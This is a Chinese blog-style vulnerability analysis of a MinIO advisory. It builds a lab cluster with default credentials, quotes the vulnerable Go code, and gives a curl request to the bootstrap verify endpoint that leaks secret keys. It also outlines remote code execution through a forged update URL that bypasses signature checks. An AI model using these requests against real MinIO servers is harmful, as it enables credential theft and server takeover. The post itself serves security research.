https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
这通告把漏洞点都给出来了…
看这篇文章《Docker下MinIO的使用》
docker-compose.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
| version: '3.7'
# starts 4 docker containers running minio server instances. Each
# minio server's web interface will be accessible on the host at port
# 9001 through 9004.
services:
minio1:
image: minio/minio:RELEASE.2020-01-16T22-40-29Z
container_name: minio1
volumes:
- data1-1:/data1
- data1-2:/data2
ports:
- "9001:9000"
environment:
MINIO_ACCESS_KEY: minio
MINIO_SECRET_KEY: minio123
command: server http://minio{1...4}/data{1...2}
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3
minio2:
image: minio/minio:RELEASE.2020-01-16T22-40-29Z
container_name: minio2
volumes:
- data2-1:/data1
- data2-2:/data2
ports:
- "9002:9000"
environment:
MINIO_ACCESS_KEY: minio
MINIO_SECRET_KEY: minio123
command: server http://minio{1...4}/data{1...2}
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3
minio3:
image: minio/minio:RELEASE.2020-01-16T22-40-29Z
container_name: minio3
volumes:
- data3-1:/data1
- data3-2:/data2
ports:
- "9003:9000"
environment:
MINIO_ACCESS_KEY: minio
MINIO_SECRET_KEY: minio123
command: server http://minio{1...4}/data{1...2}
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3
minio4:
image: minio/minio:RELEASE.2020-01-16T22-40-29Z
container_name: minio4
volumes:
- data4-1:/data1
- data4-2:/data2
ports:
- "9004:9000"
environment:
MINIO_ACCESS_KEY: minio
MINIO_SECRET_KEY: minio123
command: server http://minio{1...4}/data{1...2}
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3
## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
data1-1:
data1-2:
data2-1:
data2-2:
data3-1:
data3-2:
data4-1:
data4-2:
|
1
2
| docker-compose pull
docker-compose up
|
http://172.16.16.128:9001/ 到9004端口都是minio集群
根据官方GitHub中的通告 https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q 可知
在集群部署中,MinIO返回所有环境变量,包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD,导致信息泄露。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| // minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
ctx := newContext(r, w, "VerifyHandler")
cfg := getServerSystemCfg()
logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
envs := env.List("MINIO_")
envValues := make(map[string]string, len(envs))
for _, envK := range envs {
// skip certain environment variables as part
// of the whitelist and could be configured
// differently on each nodes, update skipEnvs()
// map if there are such environment values
if _, ok := skipEnvs[envK]; ok {
continue
}
envValues[envK] = env.Get(envK, "")
}
return ServerSystemConfig{
MinioEndpoints: globalEndpoints,
MinioEnv: envValues,
}
}
|
给出了补丁的commit https://github.com/minio/minio/commit/3b5dbf90468b874e99253d241d16d175c2454077
diff可见增加了敏感字段skip的操作
最终路由映射到 http://172.16.16.128:9001/minio/bootstrap/v1/verify
cmd/routers.go:75 判断了一下是集群才会注册上述路由
1
| curl -XPOST http://172.16.16.128:9001/minio/bootstrap/v1/verify
|
minio是个go写的项目,go rce的方式不是很多,我的思路是找自更新的点。
在这个commit中 https://github.com/minio/minio/commit/05444a0f6af8389b9bb85280fc31337c556d4300
加了一个二进制文件签名校验
这个函数在cmd/admin-handlers.go ServerUpdateHandler函数中被调用,对应的路由为POST /minio/admin/v3/update?updateURL={updateURL}
有一些版本好像是v2
ServerUpdateHandler函数中经过了几个处理,代码比较长,我贴一下精简之后的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| func (a adminAPIHandlers) ServerUpdateHandler(w http.ResponseWriter, r *http.Request) {
// 验证是否是admin权限
objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.ServerUpdateAdminAction)
// 从POST /minio/admin/v3/update?updateURL={updateURL}取updateURL参数
vars := mux.Vars(r)
updateURL := vars["updateURL"]
mode := getMinioMode()
// 解析url
u, err := url.Parse(updateURL)
// 下载Release信息并解析出对应的更新信息
content, err := downloadReleaseURL(u, updateTimeout, mode)
sha256Sum, lrTime, releaseInfo, err := parseReleaseData(content)
// 指定二进制文件的下载路径
u.Path = path.Dir(u.Path) + SlashSeparator + releaseInfo
// 下载二进制文件
reader, err := downloadBinary(u, mode)
// 验证签名
err = verifyBinary(u, sha256Sum, releaseInfo, mode, reader)
// 提交二进制文件
err = commitBinary()
// 发送重启信号给channel
globalServiceSignalCh <- serviceRestart
}
|
而在verifyBinary中envMinisignPubKey环境变量应该是默认为空,导致签名校验无效。
攻击者可以伪造updateURL来触发恶意自更新来执行任意二进制文件,不过这个动静可能有点大,而且恶意二进制文件应该是针对minio二开的,否则服务可能会挂掉。
最后一点,就是如何使用敏感信息泄露的用户来提权到admin用户。
commit应该是67f4ba154a27a1b06e48bfabda38355a010dfca5 看了下没看懂,先放一放,让子弹飞一会。
r师太吊了,打call。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。